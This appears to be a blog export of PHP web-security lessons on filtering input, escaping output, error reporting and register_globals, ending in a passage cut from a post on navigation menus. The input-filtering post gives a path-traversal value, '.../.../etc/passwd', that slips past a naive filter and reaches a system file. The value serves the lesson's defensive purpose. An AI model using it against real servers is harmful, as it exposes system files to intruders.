margin-bottom: 0.49cm;">You have now seen the predominant ways that a user provides data to your applications. The following sections discuss how attackers can take advantage of your forms and URLs by using these as openings to your applications.</span></p></div>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-9118022163677266850.post-91853464503123829332007-01-17T05:04:00.000-08:002007-01-17T05:06:46.071-08:00Escape Output<p style="margin-top: 0.49cm; margin-bottom: 0.49cm;"><a name="IDX-CHP-1-0139"></a><a name="IDX-CHP-1-0140"></a><a name="IDX-CHP-1-0141"></a><a name="IDX-CHP-1-0142"></a><a name="IDX-CHP-1-0143"></a><a name="IDX-CHP-1-0144"></a><a name="IDX-CHP-1-0145"></a><a name="IDX-CHP-1-0146"></a><a name="IDX-CHP-1-0147"></a><a name="IDX-CHP-1-0148"></a><a name="IDX-CHP-1-0149"></a><a name="IDX-CHP-1-0150"></a><a name="IDX-CHP-1-0151"></a> Another cornerstone of web application security is the practice of escaping outputescaping or encoding special characters so that their original meaning is preserved. For example, <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">O'Reilly</span></span> is represented as <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">O\'Reilly</span></span> when being sent to a MySQL database. The backslash before the apostrophe is there to preserve itthe apostrophe is part of the data and not meant to be interpreted by the database.</p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;"><a name="IDX-CHP-1-0152"></a> As with filtering input, when I refer to escaping output , I am really describing three different steps:</p> <ul><li><p style="margin-top: 0.49cm; margin-bottom: 0cm;">Identifying output</p> </li><li><p style="margin-bottom: 0cm;">Escaping output</p> </li><li><p style="margin-bottom: 0.49cm;">Distinguishing between escaped and unescaped data</p> </li></ul> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">To escape output, you must first identify output. In general, this is much easier than identifying input because it relies on an action that you take. For example, to identify output being sent to the client, you can search for strings such as the following in your code:<span class="fullpost"><br /></p> <ul><li><p style="margin-top: 0.49cm; margin-bottom: 0cm;"><span style="font-family:Courier New, monospace;"><span style="font-size:85%;">echo</span></span></p> </li><li><p style="margin-bottom: 0cm;"><span style="font-family:Courier New, monospace;"><span style="font-size:85%;">print</span></span></p> </li><li><p style="margin-bottom: 0cm;"><span style="font-family:Courier New, monospace;"><span style="font-size:85%;">printf</span></span></p> </li><li><p style="margin-bottom: 0.49cm;"><span style="font-family:Courier New, monospace;"><span style="font-size:85%;"><?=</span></span></p> </li></ul> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">As the developer of an application, you should be aware of every case in which you send data to a remote system. These cases all constitute output.</p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">Like filtering, escaping is a process that is unique for each situation. Whereas filtering is unique according to the type of data you're filtering, escaping is unique according to the type of system to which you're sending data.</p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">For most common destinations (including the client, databases, and URLs), there is a native escaping function that you can use. If you must write your own, it is important to be exhaustive. Find a reliable and complete list of every special character in the remote system and the proper way to represent each character so that it is preserved rather than interpreted.</p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">The most common destination is the client, and <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">htmlentities( )</span></span> is the best escaping function for escaping data to be sent to the client. Like most string functions, it takes a string and returns the modified version of the string. However, the best way to use <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">htmlentities( )</span></span> is to specify the two optional argumentsthe quote style (the second argument) and the character set (the third argument). The quote style should always be <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">ENT_QUOTES</span></span> in order for the escaping to be most exhaustive, and the character set should match the character set indicated in the <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">Content-Type</span></span> header that your application includes in each response.</p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">To distinguish between escaped and unescaped data, I advocate the use of a naming convention. For data to be sent to the client, the convention I use is to store all data escaped with <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">htmlentities( )</span></span> in <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">$html</span></span>, an array that is initialized to an empty array and contains only data that has been both filtered and escaped:</p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New, monospace;"><span style="font-size:85%;"><?php</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"><br /></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">$html = array( );</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"><br /></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">$html['username'] = htmlentities($clean['username'],</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">ENT_QUOTES, 'UTF-8');</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"><br /></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">echo "<p>Welcome back, {$html['username']}.</p>";</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"><br /></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">?><span style="color: rgb(0, 0, 0);"></span></span></span></span></p>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-9118022163677266850.post-64942781327792031982007-01-17T04:59:00.000-08:002007-01-17T05:03:04.018-08:00Filter Input<p style="margin-top: 0.49cm; margin-bottom: 0.49cm;"><a name="IDX-CHP-1-0112"></a><a name="IDX-CHP-1-0113"></a><a name="IDX-CHP-1-0114"></a><a name="IDX-CHP-1-0115"></a><a name="IDX-CHP-1-0116"></a><a name="IDX-CHP-1-0117"></a><a name="IDX-CHP-1-0118"></a><a name="IDX-CHP-1-0119"></a><a name="IDX-CHP-1-0120"></a><a name="IDX-CHP-1-0121"></a><a name="IDX-CHP-1-0122"></a><a name="IDX-CHP-1-0123"></a><a name="IDX-CHP-1-0124"></a><a name="IDX-CHP-1-0125"></a><a name="IDX-CHP-1-0126"></a><a name="IDX-CHP-1-0127"></a><a name="IDX-CHP-1-0128"></a><a name="IDX-CHP-1-0129"></a><a name="IDX-CHP-1-0130"></a><a name="IDX-CHP-1-0131"></a><a name="IDX-CHP-1-0132"></a><a name="IDX-CHP-1-0133"></a><a name="IDX-CHP-1-0134"></a><a name="IDX-CHP-1-0135"></a> Filtering is one of the cornerstones of web application security. It is the process by which you prove the validity of data. By ensuring that all data is properly filtered on input, you can eliminate the risk that tainted (unfiltered) data is mistakenly trusted or misused in your application. The vast majority of security vulnerabilities in popular PHP applications can be traced to a failure to filter input.</p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;"><a name="IDX-CHP-1-0136"></a> When I refer to filtering input, I am really describing three different steps:</p> <ul><li><p style="margin-top: 0.49cm; margin-bottom: 0cm;">Identifying input</p> </li><li><p style="margin-bottom: 0cm;">Filtering input</p> </li><li><p style="margin-bottom: 0.49cm;">Distinguishing between filtered and tainted data</p> </li></ul> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">The first step is to identify input because if you don't know what it is, you can't be sure to filter it. Input is any data that originates from a remote source. <span class="fullpost">For example, anything sent by the client is input, although the client isn't the only remote source of dataother examples include database servers and RSS feeds.</p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">Data that originates from the client is easy to identifyPHP provides this data in superglobal arrays, such as <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">$_GET</span></span> and <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">$_POST</span></span>. Other input can be more difficult to identifyfor example, <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">$_SERVER</span></span> contains many elements that can be manipulated by the client. It's not always easy to determine which elements in <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">$_SERVER</span></span> constitute input, so a best practice is to consider this entire array to be input.</p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">What you consider to be input is a matter of opinion in some cases. For example, session data is stored on the server, and you might not consider the session data store to be a remote source. If you take this stance, you can consider the session data store to be an integral part of your application. It is wise to be mindful of the fact that this ties the security of your application to the security of the session data store. This same perspective can be applied to a database because the database can be considered a part of the application as well.</p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">Generally speaking, it is more secure to consider data from session data stores and databases to be input, and this is the approach that I recommend for any critical PHP application.</p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">Once you have identified input, you're ready to filter it. Filtering is a somewhat formal term that has many synonyms in common parlancesanitizing, validating, cleaning, and scrubbing. Although some people differentiate slightly between these terms, they all refer to the same processpreventing invalid data from entering your application.</p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">Various approaches are used to filter data, and some are more secure than others. The best approach is to treat filtering as an inspection process. Don't correct invalid data in order to be accommodatingforce your users to play by your rules. History has shown that attempts to correct invalid data often create vulnerabilities. For example, consider the following method intended to prevent file traversal (ascending the directory tree):</p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New, monospace;"><span style="font-size:85%;"><?php</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"><br /></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">$filename = str_replace('..', '.', $_POST['filename']);</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"><br /></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">?></span></span></p> <p style="margin-bottom: 0cm;"><br /></p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">Can you think of a value of <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">$_POST['filename']</span></span> that causes <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">$filename</span></span> to be <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">../../etc/passwd</span></span>? Consider the following:</p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">.../.../etc/passwd</span></span></p> <p style="margin-bottom: 0cm;"><br /></p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">This particular error can be corrected by continuing to replace the string until it is no longer found:</p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New, monospace;"><span style="font-size:85%;"><?php</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"><br /></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">$filename = $_POST['filename'];</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"><br /></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">while (strpos($_POST['filename'], '..') != = FALSE)</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">{</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">$filename = str_replace('..', '.', $filename);</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">}</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"><br /></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">?></span></span></p> <p style="margin-bottom: 0cm;"><br /></p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">Of course, the <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">basename( )</span></span> function can replace this entire technique and is a safer way to achieve the desired goal. The important point is that any attempt to correct invalid data can potentially contain an error and allow invalid data to pass through. Inspection is a much safer alternative.</p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">In addition to treating filtering as an inspection process, you want to use a whitelist approach whenever possible. This means that you want to assume the data that you're inspecting to be invalid unless you can prove that it is valid. In other words, you want to err on the side of caution. Using this approach, a mistake results in your considering valid data to be invalid. Although undesirable (as any mistake is), this is a much safer alternative than considering invalid data to be valid. By mitigating the damage caused by a mistake, you increase the security of your applications. Although this idea is theoretical in nature, history has proven it to be a very worthwhile approach.</p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;"><a name="IDX-CHP-1-0137"></a><a name="IDX-CHP-1-0138"></a> If you can accurately and reliably identify and filter input, your job is almost done. The last step is to employ a naming convention or some other practice that can help you to accurately and reliably distinguish between filtered and tainted data. I recommend a simple naming convention because this can be used in both procedural and object-oriented paradigms. The convention that I use is to store all filtered data in an array called <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">$clean</span></span>. This allows you to take two important steps that help to prevent the injection of tainted data :</p> <ul><li><p style="margin-top: 0.49cm; margin-bottom: 0cm;">Always initialize <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">$clean</span></span> to be an empty array.</p> </li><li><p style="margin-bottom: 0.49cm;">Add logic to detect and prevent any variables from a remote source named <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">clean</span></span>.</p> </li></ul> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">In truth, only the initialization is crucial, but it's good to adopt the habit of considering any variable named clean to be one thingyour array of filtered data. This step provides reasonable assurance that <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">$clean</span></span> contains only data that you knowingly store therein and leaves you with the responsibility of ensuring that you never store tainted data in <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">$clean</span></span>.</p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">In order to solidify these concepts, consider a simple HTML form that allows a user to select among three colors:</p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New, monospace;"><span style="font-size:85%;"><form action="process.php" method="POST"></span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">Please select a color:</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New, monospace;"><span style="font-size:85%;"><select name="color"></span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New, monospace;"><span style="font-size:85%;"><option value="red">red</option></span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New, monospace;"><span style="font-size:85%;"><option value="green">green</option></span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New, monospace;"><span style="font-size:85%;"><option value="blue">blue</option></span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New, monospace;"><span style="font-size:85%;"></select></span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New, monospace;"><span style="font-size:85%;"><input type="submit" /></span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New, monospace;"><span style="font-size:85%;"></form></span></span></p> <p style="margin-bottom: 0cm;"><br /></p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">In the programming logic that processes this form, it is easy to make the mistake of assuming that only one of the three choices can be provided. As you will learn in the next section, the client can submit any data as the value of <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">$_POST['color']</span></span>. To properly filter this data, you can use a <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">switch</span></span> statement:</p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New, monospace;"><span style="font-size:85%;"><?php</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"><br /></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">$clean = array( );</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"><br /></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">switch($_POST['color'])</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">{</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">case 'red':</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">case 'green':</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">case 'blue':</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">$clean['color'] = $_POST['color'];</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">break;</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">}</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"><br /></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">?></span></span></p> <p style="margin-bottom: 0cm;"><br /></p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">This example first initializes <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">$clean</span></span> to an empty array in order to be certain that it cannot contain tainted data. Once it is proven that the value of <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">$_POST['color']</span></span> is one of <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">red</span></span>, <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">green</span></span>, or <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">blue</span></span>, it is stored in <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">$clean['color']</span></span>. Therefore, you can use <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">$clean['color']</span></span> elsewhere in your code with reasonable assurance that it is valid. Of course, you could add a <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">default</span></span> case to this <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">switch</span></span> statement to take a particular action in the case of invalid data. One possibility is to display the form again while noting the errorjust be careful not to output the tainted data in an attempt to be friendly.</p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">While this particular approach is useful for filtering data against a known set of valid values, it does not help you filter data against a known set of valid characters. For example, you might want to assert that a username may contain only alphanumeric characters:</p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New, monospace;"><span style="font-size:85%;"><?php</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"><br /></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">$clean = array( );</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"><br /></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">if (ctype_alnum($_POST['username']))</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">{</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">$clean['username'] = $_POST['username'];</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">}</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"><br /></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New, monospace;"><span style="font-size:85%;">?></span></span></p> <p style="margin-bottom: 0cm;"><br /></p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">Although a regular expression can be used for this particular purpose, using a native PHP function is always preferable. These functions are less likely to contain errors than code that you write yourself is, and an error in your filtering logic is almost certain to result in a security vulnerability.</span></p>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-9118022163677266850.post-67892437217728300902007-01-17T04:10:00.000-08:002007-01-17T04:57:00.097-08:00Error Reporting<p style="margin-top: 0.49cm; margin-bottom: 0.49cm;"><a name="IDX-CHP-1-0084"></a><a name="IDX-CHP-1-0085"></a> Every developer makes mistakes, and PHP's error reporting features can help you identify and locate these mistakes. However, the detailed information that PHP provides can be displayed to a malicious attacker, and this is undesirable. It is important to make sure that this information is never shown to the general public. This is as simple as setting <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">display_errors</span></span> to <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">Off</span></span>. Of course, you want to be notified of errors, so you should set <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">log_errors</span></span> to <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">On</span></span> and indicate the desired location of the log with <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">error_log</span></span>.</p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">Because the level of error reporting can cause some errors to be hidden, you should turn up PHP's default <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">error_reporting</span></span> setting to at least <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">E_ALL</span></span> (<span style="font-family:Courier New,monospace;"><span style="font-size:85%;">E_ALL | E_STRICT</span></span> is the highest setting, offering suggestions for forward compatibility, such as deprecation notices).<span class="fullpost"><br /></span></p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">All error-reporting behavior can be modified at any level, so if you are on a shared host or are otherwise unable to make changes to files such as <i>php.ini</i>, <i>httpd.conf</i>, or .htaccess, you can implement these recommendations with code similar to the following:</p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;"><?php</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"><br /></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">ini_set('error_reporting', E_ALL | E_STRICT);</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">ini_set('display_errors', 'Off');</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">ini_set('log_errors', 'On');</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">ini_set('error_log', '/usr/local/apache/logs/error_log');</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"><br /></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">?></span></span></p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">PHP also allows you to handle your own errors with the <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">set_error_handler( )</span></span> function:</p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;"><?php</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"><br /></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">set_error_handler('my_error_handler');</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"><br /></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">?></span></span></p> <p style="margin-bottom: 0cm;"><br /></p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">This allows you to define your own function (<span style="font-family:Courier New,monospace;"><span style="font-size:85%;">my_error_handler( )</span></span>) to handle errors; the following is an example implementation:</p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;"><?php</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"><br /></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">function my_error_handler($number, $string, $file, $line, $context)</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">{</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">$error = "= == == == ==\nPHP ERROR\n= == == == ==\n";</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">$error .= "Number: [$number]\n";</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">$error .= "String: [$string]\n";</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">$error .= "File: [$file]\n";</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">$error .= "Line: [$line]\n";</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">$error .= "Context:\n" . print_r($context, TRUE) . "\n\n";</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"><br /></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">error_log($error, 3, '/usr/local/apache/logs/error_log');</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">}</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"><br /></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">?></span></span></p><p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"></span><br /></span></p>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-9118022163677266850.post-46643665577641863982007-01-17T04:00:00.000-08:002007-01-17T04:10:18.421-08:00Register Globals<div><a name="IDX-CHP-1-0072"></a><a name="IDX-CHP-1-0073"></a><a name="IDX-CHP-1-0074"></a><a name="IDX-CHP-1-0075"></a><a name="IDX-CHP-1-0076"></a><a name="IDX-CHP-1-0077"></a><a name="IDX-CHP-1-0078"></a><a name="IDX-CHP-1-0079"></a><a name="IDX-CHP-1-0080"></a><a name="IDX-CHP-1-0081"></a><a name="IDX-CHP-1-0082"></a> If you remember writing CGI applications in C in your early days of web application development, you know how tedious form processing can be. With PHP's <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">register_globals</span></span> directive enabled, the complexity of parsing raw form data is taken care of for you, and global variables are created from numerous remote sources.<span class="fullpost"> This makes writing PHP applications very easy and convenient, but it also poses a security risk. <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">In truth, <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">register_globals</span></span> is unfairly maligned. Alone, it does not create a security vulnerabilitya developer must make a mistake. However, two primary reasons you should develop and deploy applications with <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">register_globals</span></span> disabled are that it:</p> <ul><li><p style="margin-top: 0.49cm; margin-bottom: 0cm;">Can increase the magnitude of a security vulnerability</p> </li><li><p style="margin-bottom: 0.49cm;">Hides the origin of data, conflicting with a developer's responsibility to keep track of data at all times</p> </li></ul> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">All examples in this book assume <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">register_globals</span></span> to be disabled. Instead, I use superglobal arrays such as <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">$_GET</span></span> and <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">$_POST</span></span>. Using these arrays is nearly as convenient as relying on <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">register_globals</span></span>, and the slight lack of convenience is well worth the increase in security.</p></span></div>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-9118022163677266850.post-26549498332837808762007-01-16T07:23:00.000-08:002007-01-16T07:58:50.338-08:00Create Dynamic Navigation Menus<span style="font-size:100%;"><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhttCkrwR1OygJ5Jukpirx1GXKCMsP4xyeIcPFlPe5rSezproOPQiRojSDpW8RrLneaxUHfDzhiJuXetrDXbt7yK7O1SvFlyhrnMOT1wiRaghizvzVQRUbTv2dQodAO9x25EBGBMOm01HqR/s1600-h/22.bmp"> </a></span><p class="doctext"><span class="docemphbold" style="font-size:100%;">Use PHP to build a navigation menu widget that works consistently across your site</span><span style="font-size:100%;">.</span></p> <p class="doctext"><span style="font-size:100%;">Writing the navigation menu for your site can be a pain. You don't want to write the same code over and over on every page. Ideally, you would have a PHP menu function that would render the menu with the current page highlighted. This hack gives you that simple menu function (for the low cost of this book, no less!).</span></p> <h4><span style="font-size:100%;"><a name="phphks-CHP-3-SECT-8.1"></a>The Code</span></h4><span class="fullpost" style="font-size:100%;"> <p class="doctext">Save the code in Example 1, which demonstrates the use of <span class="docemphasis">menu.php</span> as <span 